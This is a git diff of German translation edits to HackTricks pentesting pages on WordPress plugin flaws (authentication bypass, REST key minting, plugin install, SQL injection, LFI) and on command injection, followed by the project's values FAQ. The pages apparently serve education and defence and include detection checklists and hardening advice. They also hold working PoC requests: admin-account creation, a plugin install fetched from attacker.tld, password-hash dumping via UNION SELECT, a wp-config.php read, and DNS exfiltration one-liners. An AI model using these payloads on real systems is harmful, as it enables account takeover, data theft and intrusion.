(Jobmonster Theme <= 4.7.9) +## Nicht authentifizierte Kontoübernahme via Social Login AJAX-Fallback (Jobmonster Theme <= 4.7.9) -Viele themes/plugins enthalten "social login"-Hilfsfunktionen, die über admin-ajax.php exponiert sind. Wenn eine unauthenticated AJAX action (wp_ajax_nopriv_...) den vom Client gelieferten Identifier vertraut, weil provider data fehlt, und anschließend wp_set_auth_cookie() aufruft, führt das zu einem vollständigen authentication bypass. +Viele Themes/Plugins liefern "social login"-Hilfsfunktionen, die über admin-ajax.php exponiert sind. Wenn eine nicht authentifizierte AJAX-Aktion (wp_ajax_nopriv_...) client-seitig gelieferte Identifikatoren vertraut, sobald Provider-Daten fehlen, und dann wp_set_auth_cookie() aufruft, wird daraus eine vollständige Authentifizierungsumgehung. Typisches fehlerhaftes Muster (vereinfacht) ```php @@ -687,15 +687,15 @@ wp_send_json(['status' => 'not_user']); ``` Warum es ausnutzbar ist -- Nicht authentifiziert erreichbar über admin-ajax.php (wp_ajax_nopriv_… action). -- Keine nonce/capability-Checks vor einer Zustandsänderung. -- Fehlende OAuth/OpenID-Provider-Verifizierung; der Standardzweig akzeptiert Eingaben des Angreifers. -- get_user_by('email', $_POST['id']) gefolgt von wp_set_auth_cookie($uid) authentifiziert den Anforderer als jede existierende E-Mail-Adresse. +- Unauthentifizierte Erreichbarkeit über admin-ajax.php (wp_ajax_nopriv_… action). +- Keine nonce-/capability-Prüfungen vor Zustandsänderungen. +- Fehlende OAuth/OpenID Provider-Verifizierung; der Default-Branch akzeptiert Eingaben des Angreifers. +- get_user_by('email', $_POST['id']) gefolgt von wp_set_auth_cookie($uid) authentifiziert den Anfragenden als jede existierende E-Mail-Adresse. Ausnutzung (nicht authentifiziert) -- Voraussetzungen: Der Angreifer kann /wp-admin/admin-ajax.php erreichen und kennt/errät eine gültige Benutzer-E-Mail-Adresse. -- Setze provider auf einen nicht unterstützten Wert (oder lasse ihn weg), um den Standardzweig zu erreichen und id= zu übergeben. +- Voraussetzungen: Angreifer kann /wp-admin/admin-ajax.php erreichen und kennt/errät eine gültige Benutzer-E-Mail. +- Setze provider auf einen nicht unterstützten Wert (oder lass ihn weg), um den Default-Branch zu erreichen und id= zu übergeben. ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: victim.tld @@ -710,33 +710,33 @@ curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \ ``` Expected success indicators -- HTTP 200 mit einem JSON-Body wie {"status":"success","message":"Login successfully."}. -- Set-Cookie: wordpress_logged_in_* für den betroffenen Benutzer; nachfolgende Anfragen sind authentifiziert. +- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}. +- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated. Finding the action name -- Untersuche das Theme/Plugin nach add_action('wp_ajax_nopriv_...', '...') Registrierungen im Social-Login-Code (z. B. framework/add-ons/social-login/class-social-login.php). -- Grep nach wp_set_auth_cookie(), get_user_by('email', ...) innerhalb von AJAX-Handlern. +- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php). +- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers. Detection checklist -- Weblogs, die unauthentifizierte POSTs an /wp-admin/admin-ajax.php mit der social-login Action und id= zeigen. -- 200-Antworten mit dem success-JSON unmittelbar vor authentifiziertem Traffic von derselben IP/User-Agent. +- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=. +- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent. Hardening -- Leite Identität nicht aus Client-Eingaben ab. Akzeptiere nur E-Mails/IDs, die aus einem validierten Provider-Token/ID stammen. -- Erfordere CSRF-Nonces und capability-Checks auch für Login-Hilfen; vermeide das Registrieren von wp_ajax_nopriv_ außer wenn unbedingt notwendig. -- Validiere und verifiziere OAuth/OIDC-Antworten serverseitig; lehne fehlende/ungültige Provider ab (kein Fallback auf POST id). -- Erwäge, Social Login vorübergehend zu deaktivieren oder am Edge virtuell zu patchen (die verwundbare Action blockieren), bis ein Fix vorhanden ist. +- Ableiten der Identität nicht aus Client-Eingaben. Akzeptiere nur emails/IDs, die von einem validierten Provider-Token/ID stammen. +- Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary. +- Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id). +- Erwäge, social login vorübergehend zu deaktivieren oder virtuell am Edge zu patchen (die verwundbare action blockieren), bis ein Fix verfügbar ist. Patched behaviour (Jobmonster 4.8.0) -- Den unsicheren Fallback von $_POST['id'] entfernt; $user_email muss aus verifizierten Provider-Branches in switch($_POST['using']) stammen. +- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']). ## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82) -Einige Plugins stellen REST-Endpunkte bereit, die wiederverwendbare „connection keys“ oder Tokens erzeugen, ohne die Fähigkeiten des Anrufers zu überprüfen. Wenn die Route nur anhand eines erratbaren Attributs (z. B. username) authentifiziert und den Key nicht mit einem Benutzer/Session mittels capability-Checks verknüpft, kann jeder nicht authentifizierte Angreifer einen Key erstellen und privilegierte Aktionen ausführen (Admin-Account-Erstellung, Plugin-Aktionen → RCE). +Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE). - Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection - Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback @@ -757,53 +757,53 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \ --data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}' ``` Warum es ausnutzbar ist -- Sensible REST-Route, die nur durch einen gering entropischen Identitätsnachweis (username) geschützt ist oder permission_callback fehlt -- Keine capability enforcement; minted key wird als universeller Bypass akzeptiert +- Sensible REST-Route, die nur durch einen Identitätsnachweis mit niedriger Entropie (username) geschützt ist oder ein fehlendes permission_callback aufweist +- Keine Durchsetzung von Capabilities; ausgestellter Key wird als universeller Umgehungsmechanismus akzeptiert -Erkennungs-Checkliste -- Grep den Plugin-Code nach register_rest_route(..., [ 'permission_callback' => '__return_true' ]) -- Jede Route, die Tokens/Keys basierend auf einer request-supplied Identität (username/email) ausstellt, ohne sie an einen authentifizierten Benutzer oder an eine capability zu binden -- Suche nach nachgelagerten Routen, die den minted token/key ohne serverseitige capability-Prüfungen akzeptieren +Detection checklist +- Plugin-Code nach register_rest_route(..., [ 'permission_callback' => '__return_true' ]) durchsuchen (z. B. mit grep) +- Jede Route, die Tokens/Keys basierend auf der in der Anfrage angegebenen Identität (username/email) ausstellt, ohne diese an einen authentifizierten Benutzer oder eine Capability zu binden +- Suche nach nachfolgenden Routen, die den ausgestellten Token/Key ohne serverseitige Capability-Prüfungen akzeptieren -Härtung -- Für jede privilegierte REST-Route: permission_callback verlangen, das current_user_can() für die benötigte capability erzwingt -- Erzeuge keine long-lived keys aus client-supplied identity; falls nötig, gib kurzlebige, an den Nutzer gebundene Tokens nach Authentifizierung aus und prüfe beim Gebrauch die capabilities erneut -- Validiere den User-Kontext des Aufrufers (wp_set_current_user ist nicht ausreichend allein) und lehne Requests ab, bei denen !is_user_logged_in() || !current_user_can() +Hardening +- Für jede privilegierte REST-Route: erfordere ein permission_callback, das current_user_can() für die erforderliche Capability durchsetzt +- Stelle keine langlebigen Keys aus der vom Client gelieferten Identität aus; falls nötig, gib kurzlebige, an den Benutzer gebundene Tokens nach Authentifizierung aus und überprüfe die Capabilities bei Verwendung erneut +- Validiere den Benutzerkontext des Aufrufers (wp_set_current_user ist allein nicht ausreichend) und lehne Anfragen ab, wenn !is_user_logged_in() || !current_user_can() --- ## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3) -Nonces verhindern CSRF, nicht Autorisierung. Wenn Code ein erfolgreiches Nonce-Pass als Freigabe behandelt und dann capability checks für privilegierte Operationen (z.B. install/activate plugins) überspringt, können nicht-authentifizierte Angreifer eine schwache Nonce-Anforderung erfüllen und RCE erreichen, indem sie ein backdoored oder verwundbares Plugin installieren. +Nonces verhindern CSRF, nicht die Autorisierung. Wenn Code einen erfolgreichen Nonce-Check als Freifahrtsschein behandelt und dann Capability-Prüfungen für privilegierte Operationen (z. B. installieren/aktivieren von Plugins) überspringt, können nicht authentifizierte Angreifer eine schwache Nonce-Anforderung erfüllen und durch Installation eines mit Backdoor versehenen oder verwundbaren Plugins RCE erreichen. - Vulnerable path: plugin/install_and_activate - Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes” - Impact: full compromise via arbitrary plugin install/activation -PoC (Form hängt vom Plugin ab; nur illustrativ) +PoC (shape depends on plugin; illustrative only) ```bash curl -i -s -X POST https://victim.tld/wp-json//plugin/install_and_activate \ -H 'Content-Type: application/json' \ --data '{"_nonce":"","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}' ``` -Detection checklist -- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check -- Any code path that sets $skip_caps = true after nonce validation +Erkennungs-Checkliste +- REST/AJAX-Handler, die Plugins/Themes ändern und nur wp_verify_nonce()/check_admin_referer() verwenden und keinen capability check durchführen +- Jeder Codepfad, der $skip_caps = true setzt, nachdem die Nonce validiert wurde -Hardening -- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state -- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code -- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows +Härtung +- Behandle nonces immer nur als CSRF tokens; erzwinge capability checks unabhängig vom Nonce-Status +- Erfordere current_user_can('install_plugins') und current_user_can('activate_plugins'), bevor Installer-Code erreicht wird +- Verweigere nicht-authentifizierten Zugriff; vermeide das Offenlegen von nopriv AJAX actions für privilegierte Abläufe --- -## Nicht authentifizierte SQLi über den Parameter s (search) in depicter-* actions (Depicter Slider ≤ 3.6.1) +## Nicht-authentifizierter SQLi über den s (search)-Parameter in depicter-* Aktionen (Depicter Slider ≤ 3.6.1) -Mehrere depicter-* actions verwendeten den Parameter s (search) und haben ihn ohne Parameterisierung in SQL-Abfragen verkettet. +Mehrere depicter-* Aktionen verwendeten den s (search)-Parameter und setzten ihn ohne Parameterisierung in SQL-Abfragen ein. - Parameter: s (search) -- Flaw: direkte String-Konkatenation in WHERE/LIKE-Klauseln; keine prepared statements/sanitization -- Impact: Datenbank-Exfiltration (users, hashes), laterale Bewegung +- Fehler: direkte String-Verkettung in WHERE/LIKE-Klauseln; keine prepared statements/sanitization +- Auswirkung: Datenbank-Exfiltration (Benutzer, Hashes), laterale Bewegung PoC ```bash @@ -813,34 +813,34 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \ --data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -" ``` Detection checklist -- Grep nach depicter-* action handlers und direkter Verwendung von $_GET['s'] oder $_POST['s'] in SQL -- Überprüfe benutzerdefinierte Queries, die an $wpdb->get_results()/query() übergeben werden und s konkatenieren +- Grep nach depicter-* Action-Handlern und nach direkter Verwendung von $_GET['s'] oder $_POST['s'] in SQL +- Überprüfe benutzerdefinierte Abfragen, die an $wpdb->get_results()/query() übergeben werden und das s-Parameter per Verkettung verwenden Hardening -- Verwende immer $wpdb->prepare() oder wpdb-Platzhalter; lehne unerwartete Metazeichen serverseitig ab +- Verwende immer $wpdb->prepare() oder wpdb-Placeholders; lehne unerwartete Metazeichen serverseitig ab - Füge eine strikte Allowlist für s hinzu und normalisiere auf erwarteten Zeichensatz/Länge --- -## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1) +## Unauthenticated Local File Inclusion über einen nicht validierten Template-/Dateipfad (Kubio AI Page Builder ≤ 2.5.1) -Das Akzeptieren von angreiferkontrollierten Pfaden in einem Template-Parameter ohne Normalisierung/Containment ermöglicht das Lesen beliebiger lokaler Dateien und in manchen Fällen Codeausführung, wenn einbindbare PHP- oder Log-Dateien zur Laufzeit eingebunden werden. +Die Annahme vom Angreifer kontrollierter Pfade in einem Template-Parameter ohne Normalisierung/Einschränkung ermöglicht das Lesen beliebiger lokaler Dateien und manchmal Codeausführung, wenn einbindbare PHP-/Log-Dateien zur Laufzeit eingebunden werden. - Parameter: __kubio-site-edit-iframe-classic-template -- Flaw: keine Normalisierung/Allowlist; Traversal erlaubt -- Impact: Offenlegung von Secrets (wp-config.php), potenzielles RCE in bestimmten Umgebungen (log poisoning, includable PHP) +- Flaw: keine Normalisierung/Allowlisting; Traversal erlaubt +- Impact: Offenlegung geheimer Daten (wp-config.php), potentielles RCE in bestimmten Umgebungen (log poisoning, includable PHP) PoC – wp-config.php lesen ```bash curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php" ``` Checkliste zur Erkennung -- Jeder Handler, der Request-Pfade in include()/require()/read-Sinks zusammenfügt, ohne realpath() zur Einschränkung zu verwenden -- Auf Traversal-Muster (../) achten, die außerhalb des vorgesehenen templates-Verzeichnisses gelangen +- Jeder Handler, der Request-Pfade in include()/require()/read-Sinks verkettet, ohne realpath()-Containment +- Auf Traversal-Muster (../) achten, die außerhalb des vorgesehenen Templates-Verzeichnisses gelangen -Härtung -- Allowlist für Templates erzwingen; Datei mit realpath() auflösen und require str_starts_with(realpath(file), realpath(allowed_base)) -- Eingaben normalisieren; Traversal-Sequenzen und absolute Pfade ablehnen; sanitize_file_name() nur für Dateinamen verwenden (nicht für vollständige Pfade) +Hardening +- Allowlist für Templates durchsetzen; mit realpath() auflösen und require str_starts_with(realpath(file), realpath(allowed_base)) +- Eingaben normalisieren; Traversal-Sequenzen und absolute Pfade ablehnen; sanitize_file_name() nur für Dateinamen verwenden (nicht für komplette Pfade) ## Referenzen diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index eea4812a9..c3bcfe7a3 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -4,11 +4,11 @@ ## Was ist command Injection? -Eine **command injection** ermöglicht einem Angreifer die Ausführung beliebiger Betriebssystembefehle auf dem Server, der eine Anwendung hostet. Infolgedessen können die Anwendung und alle ihre Daten vollständig kompromittiert werden. Die Ausführung dieser Befehle erlaubt dem Angreifer typischerweise, unautorisierten Zugriff zu erlangen oder Kontrolle über die Umgebung der Anwendung und das zugrunde liegende System zu übernehmen. +Eine **command injection** ermöglicht einem Angreifer die Ausführung willkürlicher Betriebssystembefehle auf dem Server, der eine Anwendung hostet. Infolgedessen können die Anwendung und alle ihre Daten vollständig kompromittiert werden. Die Ausführung dieser Befehle erlaubt dem Angreifer typischerweise, unautorisierten Zugriff auf die Umgebung der Anwendung und das zugrunde liegende System zu erlangen oder Kontrolle darüber zu übernehmen. ### Kontext -Je nachdem, **wo Ihre Eingabe injiziert wird**, müssen Sie möglicherweise den **zitierten Kontext beenden** (mit `"` oder `'`), bevor Sie die Befehle ausführen. +Abhängig davon, **wo Ihre Eingabe injiziert wird**, müssen Sie möglicherweise **den zitierten Kontext beenden** (mit `"` oder `'`) bevor die Befehle. ## Command Injection/Execution ```bash @@ -30,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` -### **Einschränkungen** Bypasses +### **Beschränkungen** Bypasses -Wenn du versuchst, **arbitrary commands inside a linux machine** auszuführen, interessiert dich vielleicht das Lesen über diese **Bypasses:** +Wenn du versuchst, **arbitrary commands inside a linux machine** auszuführen, solltest du dir diese **Bypasses** ansehen: {{#ref}} @@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Parameter -Hier sind die Top-25-Parameter, die für code injection und ähnliche RCE vulnerabilities anfällig sein könnten (von [link](https://twitter.com/trbughunters/status/1283133356922884096)): +Hier sind die Top 25 Parameter, die für code injection und ähnliche RCE-Schwachstellen anfällig sein könnten (von [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -77,7 +77,7 @@ Hier sind die Top-25-Parameter, die für code injection und ähnliche RCE vulner ``` ### Time based data exfiltration -Daten extrahieren: Zeichen für Zeichen +Datenextraktion: char by char ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -91,7 +91,7 @@ sys 0m0.000s ``` ### DNS based data exfiltration -Basierend auf dem Tool von `https://github.com/HoLyVieR/dnsbin`, das auch unter dnsbin.zhack.ca gehostet wird +Basierend auf dem Tool von `https://github.com/HoLyVieR/dnsbin`, das auch auf dnsbin.zhack.ca gehostet ist. ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -101,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -Online-Tools zur Überprüfung von DNS based data exfiltration: +Online-Tools zur Überprüfung von DNS-basierter data exfiltration: - dnsbin.zhack.ca - pingb.in -### Filtering bypass +### Umgehung von Filtern #### Windows ``` @@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad ### Node.js `child_process.exec` vs `execFile` -Beim Prüfen von JavaScript/TypeScript-Backends stößt man häufig auf die Node.js `child_process`-API. +Beim Audit von JavaScript/TypeScript-Backends stößt man häufig auf die Node.js `child_process` API. ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` startet eine **shell** (`/bin/sh -c`), daher führt jedes Zeichen, das für die shell eine spezielle Bedeutung hat (back-ticks, `;`, `&&`, `|`, `$()`, …), zu **command injection**, wenn Benutzereingaben in den String verkettet werden. +`exec()` startet eine **shell** (`/bin/sh -c`), daher kann jedes Zeichen, das für die shell eine besondere Bedeutung hat (back-ticks, `;`, `&&`, `|`, `$()`, …), zu **command injection** führen, wenn Benutzereingaben in den String konkateniert werden. -**Gegenmaßnahme:** verwende `execFile()` (oder `spawn()` ohne die `shell`-Option) und übergib **jedes Argument als separates Array-Element**, damit keine shell beteiligt ist: +**Gegenmaßnahme:** verwende `execFile()` (oder `spawn()` ohne die `shell`-Option) und übergebe **jedes Argument als separates Array-Element**, sodass keine shell beteiligt ist: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -140,27 +140,27 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Praxisfall: *Synology Photos* ≤ 1.7.0-0794 war ausnutzbar durch ein unauthentifiziertes WebSocket-Ereignis, das vom Angreifer kontrollierte Daten in `id_user` platzierte, die später in einem `exec()`-Aufruf eingebettet wurden, wodurch RCE erreicht wurde (Pwn2Own Ireland 2024). +Real-world case: *Synology Photos* ≤ 1.7.0-0794 war über ein unauthentifiziertes WebSocket-Ereignis angreifbar, das vom Angreifer kontrollierte Daten in `id_user` platzierte, die später in einem `exec()`-Aufruf eingebettet wurden und RCE ermöglichten (Pwn2Own Ireland 2024). -### Argument-/Option-Injektion durch führenden Bindestrich (argv, no shell metacharacters) +### Argument-/Option-Injektion durch führenden Bindestrich (argv, keine Shell-Metazeichen) -Nicht alle Injektionen erfordern shell Metazeichen. Wenn die Anwendung untrusted Strings als Argumente an ein System-Utility übergibt (selbst mit `execve`/`execFile` und ohne shell), werden viele Programme weiterhin jedes Argument, das mit `-` oder `--` beginnt, als Option interpretieren. Dadurch kann ein Angreifer Modi umschalten, Ausgabeziele ändern oder gefährliches Verhalten auslösen, ohne jemals eine shell zu erreichen. +Nicht alle Injektionen benötigen Shell-Metazeichen. Wenn die Anwendung unvertrauenswürdige Strings als Argumente an ein Systemutility übergibt (selbst mit `execve`/`execFile` und ohne Shell), werden viele Programme trotzdem jedes Argument, das mit `-` oder `--` beginnt, als Option interpretieren. Dadurch kann ein Angreifer Modi umschalten, Ausgabewege ändern oder gefährliches Verhalten auslösen, ohne jemals in eine Shell einzubrechen. Typische Orte, an denen das vorkommt: -- Eingebettete Web-UIs/CGI-Handler, die Befehle wie `ping `, `tcpdump -i -w `, `curl `, etc. bauen. -- Zentralisierte CGI-Router (z. B. `/cgi-bin/.cgi` mit einem Selector-Parameter wie `topicurl=`), bei denen mehrere Handler denselben schwachen Validator wiederverwenden. +- Eingebettete Web-UIs/CGI-Handler, die Befehle wie `ping `, `tcpdump -i -w `, `curl `, usw. zusammensetzen. +- Zentrale CGI-Router (z. B. `/cgi-bin/.cgi` mit einem Selektor-Parameter wie `topicurl=`), bei denen mehrere Handler denselben schwachen Validator wiederverwenden. -Was zu versuchen ist: +Was zu versuchen: -- Werte angeben, die mit `-`/`--` beginnen, damit das nachgelagerte Tool sie als Flags konsumiert. -- Flags missbrauchen, die Verhalten ändern oder Dateien schreiben, zum Beispiel: -- `ping`: `-f`/`-c 100000` um das Gerät zu belasten (DoS) -- `curl`: `-o /tmp/x` um beliebige Pfade zu schreiben, `-K ` um vom Angreifer kontrollierte Konfiguration zu laden -- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` um nach der Rotation Ausführung in unsicheren Wrappern zu erreichen -- Wenn das Programm `--` (End-of-options) unterstützt, versuchen naive Gegenmaßnahmen zu umgehen, die `--` an der falschen Stelle einfügen. +- Werte angeben, die mit `-`/`--` beginnen, damit das nachgelagerte Tool sie als Flags interpretiert. +- Flags missbrauchen, die das Verhalten ändern oder Dateien schreiben, zum Beispiel: +- `ping`: `-f`/`-c 100000`, um das Gerät zu belasten (DoS) +- `curl`: `-o /tmp/x`, um beliebige Pfade zu schreiben, `-K `, um eine vom Angreifer kontrollierte Konfiguration zu laden +- `tcpdump`: `-G 1 -W 1 -z /path/script.sh`, um in unsicheren Wrappern eine Ausführung nach Rotation zu erreichen +- Wenn das Programm `--` (Ende-der-Optionen) unterstützt, versuchen Sie, naive Mitigations zu umgehen, die `--` an die falsche Stelle voranstellen. -Generische PoC-Muster gegen zentralisierte CGI-Dispatcher: +Generische PoC-Muster gegen zentrale CGI-Dispatcher: ``` POST /cgi-bin/cstecgi.cgi HTTP/1.1 Content-Type: application/x-www-form-urlencoded diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index 9bba1535e..8e354f83b 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -7,15 +7,15 @@ > [!TIP] > Dies sind die **Werte des HackTricks-Projekts**: > -> - Gewähre **KOSTENLOSEN** Zugang zu **bildungsrelevanten hacking**-Ressourcen für **das gesamte** Internet. +> - Gewähre **KOSTENLOSEN** Zugang zu **PÄDAGOGISCHEN** hacking Ressourcen für **das gesamte** Internet. > - Hacking dreht sich ums Lernen, und Lernen sollte so frei wie möglich sein. -> - Der Zweck dieses Buches ist es, als umfassende **Bildungsressource** zu dienen. -> - **SPEICHERE** großartige **hacking**-Techniken, die die Community veröffentlicht und den **URSPRÜNGLICHEN** **AUTOREN** alle **Anerkennung** gibt. -> - **Wir wollen nicht die Anerkennung anderer Leute**, wir wollen nur coole Tricks für alle speichern. -> - Wir schreiben auch **unsere eigenen Forschungsarbeiten** in HackTricks. -> - In mehreren Fällen werden wir nur **in HackTricks eine Zusammenfassung der wichtigen Teile** der Technik schreiben und den Leser dazu **ermutigen, den Originalbeitrag** für mehr Details zu besuchen. -> - **ORGANISIERE** alle hacking-Techniken im Buch, damit es **BESSER ZUGÄNGLICH** ist -> - Das HackTricks-Team hat tausende von Stunden kostenlos **ausschließlich für die Organisation des Inhalts** aufgewendet, damit Menschen **schneller lernen** +> - Der Zweck dieses Buches ist es, als umfassende **pädagogische Ressource** zu dienen. +> - **SPEICHERN** großartige **hacking** Techniken, die die Community veröffentlicht, und dabei den **URSPRUNGLICHEN** **AUTOREN** alle **ANERKENNUNG** geben. +> - **Wir wollen nicht die Anerkennung von anderen**, wir wollen nur coole Tricks für alle speichern. +> - Wir schreiben auch **unsere eigenen Forschungen** in HackTricks. +> - In mehreren Fällen schreiben wir in HackTricks nur **eine Zusammenfassung der wichtigsten Teile** der Technik und **ermutigen den Leser, den Originalbeitrag** für mehr Details zu besuchen. +> - **ORGANISIEREN** alle **hacking** Techniken im Buch, damit es **ZUGÄNGLICHER** ist +> - Das HackTricks-Team hat tausende Stunden kostenlos **ausschließlich dafür aufgewendet, den Inhalt zu organisieren**, damit Menschen **schneller lernen**
@@ -25,33 +25,33 @@ > > - **Vielen Dank für diese Ressourcen, wie kann ich mich bedanken?** -Du kannst dem HackTricks-Team öffentlich für das Zusammenstellen all dieser Ressourcen in einem Tweet danken, indem du [**@hacktricks_live**](https://twitter.com/hacktricks_live) erwähnst.\ -Wenn du besonders dankbar bist, kannst du das Projekt auch [**hier sponsoren**](https://github.com/sponsors/carlospolop).\ -Und vergiss nicht, den Github-Projekten **einen Stern zu geben**! (Finde die Links weiter unten). +Du kannst dem HackTricks-Team öffentlich danken, indem du in einem Tweet [**@hacktricks_live**](https://twitter.com/hacktricks_live) erwähnst.\ +Wenn du besonders dankbar bist, kannst du das Projekt auch [**hier sponsern**](https://github.com/sponsors/carlospolop).\ +Und vergiss nicht, den Github-Projekten einen Stern zu geben! (Die Links findest du unten). > [!TIP] > > - **Wie kann ich zum Projekt beitragen?** -Du kannst **neue Tipps und Tricks mit der Community teilen oder Bugs beheben**, die du in den Büchern findest, indem du einen **Pull Request** an die jeweiligen Github-Seiten sendest: +Du kannst **neue Tipps und Tricks mit der Community teilen oder Bugs** beheben, die du in den Büchern findest, indem du einen **Pull Request** an die jeweiligen Github-Seiten sendest: - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) -Vergiss nicht, den Github-Projekten **einen Stern zu geben**! +Vergiss nicht, den Github-Projekten einen Stern zu geben! > [!TIP] > -> - **Kann ich Inhalte aus HackTricks kopieren und in meinem Blog veröffentlichen?** +> - **Kann ich Inhalte von HackTricks kopieren und in meinen Blog stellen?** -Ja, das kannst du, aber **vergiss nicht, den konkreten Link/die konkreten Links** anzugeben, von denen der Inhalt stammt. +Ja, das kannst du, aber **vergiss nicht, die spezifische(n) Link(s)** anzugeben, von denen der Inhalt stammt. > [!TIP] > -> - **Wie kann ich eine Seite von HackTricks referenzieren?** +> - **Wie kann ich eine HackTricks-Seite zitieren?** -Solange der Link **der** Seite(n), von der du die Informationen entnommen hast, angegeben ist, reicht das aus.\ -Wenn du ein BibTeX brauchst, kannst du so etwas verwenden: +Solange der Link der Seite(n), von der du die Informationen entnommen hast, angegeben ist, reicht das.\ +Wenn du einen BibTeX-Eintrag brauchst, kannst du so etwas verwenden: ```latex @misc{hacktricks-bibtexing, author = {"HackTricks Team" or the Authors name of the specific page/trick}, @@ -64,80 +64,80 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, > > - **Kann ich alle HackTricks in meinem Blog kopieren?** -**Das würde ich lieber nicht**. Das **wird niemandem nützen**, da der **Inhalt bereits kostenlos öffentlich** in den offiziellen HackTricks-Büchern verfügbar ist. +**Ich würde es lieber nicht tun**. Das wird **niemandem nützen**, da alle **Inhalte bereits öffentlich verfügbar** in den offiziellen HackTricks-Büchern kostenlos sind. -Wenn du befürchtest, dass er verschwindet, fork es einfach auf Github oder lade es herunter — wie gesagt, es ist bereits kostenlos. +Wenn du befürchtest, dass es verschwinden könnte, fork es einfach auf Github oder lade es herunter, wie gesagt, es ist bereits kostenlos. > [!WARNING] > -> - **Warum habt ihr Sponsoren? Sind die HackTricks-Bücher kommerziell?** +> - **Warum habt ihr Sponsoren? Sind die HackTricks-Bücher für kommerzielle Zwecke?** -Der erste **HackTricks** **Wert** ist es, **KOSTENLOSE** Bildungsressourcen zum Thema Hacking für **ALLE** weltweit anzubieten. Das HackTricks-Team hat **Tausende von Stunden** investiert, um diesen Inhalt bereitzustellen, wiederum **KOSTENLOS**. +Der erste **HackTricks** **Wert** ist es, **KOSTENLOSE** Hacking-Bildungsressourcen für **ALLE** weltweit anzubieten. Das HackTricks-Team hat **tausende Stunden** investiert, um diese Inhalte anzubieten, nochmals, **KOSTENLOS**. -Wenn du denkst, die HackTricks-Bücher würden für **kommerzielle Zwecke** erstellt, liegst du **VÖLLIG FALSCH**. +Wenn du denkst, HackTricks-Bücher seien für **kommerzielle Zwecke** gemacht, liegst du **VÖLLIG FALSCH**. -Wir haben Sponsoren, weil wir, auch wenn der gesamte Inhalt KOSTENLOS ist, der **Community die Möglichkeit geben wollen, unsere Arbeit zu wertschätzen**, falls sie das möchten. Daher bieten wir Leuten die Option, HackTricks über [**Github sponsors**](https://github.com/sponsors/carlospolop) zu unterstützen, und **relevante Cybersecurity-Firmen** sponsern HackTricks und platzieren **einige Anzeigen** im Buch — die **Anzeigen** werden stets an Stellen platziert, an denen sie **sichtbar** sind, aber den Lernprozess nicht **stören**, wenn sich jemand auf den Inhalt konzentriert. +Wir haben Sponsoren, weil wir, auch wenn alle Inhalte KOSTENLOS sind, der Community die Möglichkeit geben wollen, unsere Arbeit zu würdigen, wenn sie das möchten. Daher bieten wir Leuten die Option, HackTricks über [**Github sponsors**](https://github.com/sponsors/carlospolop) zu unterstützen, und 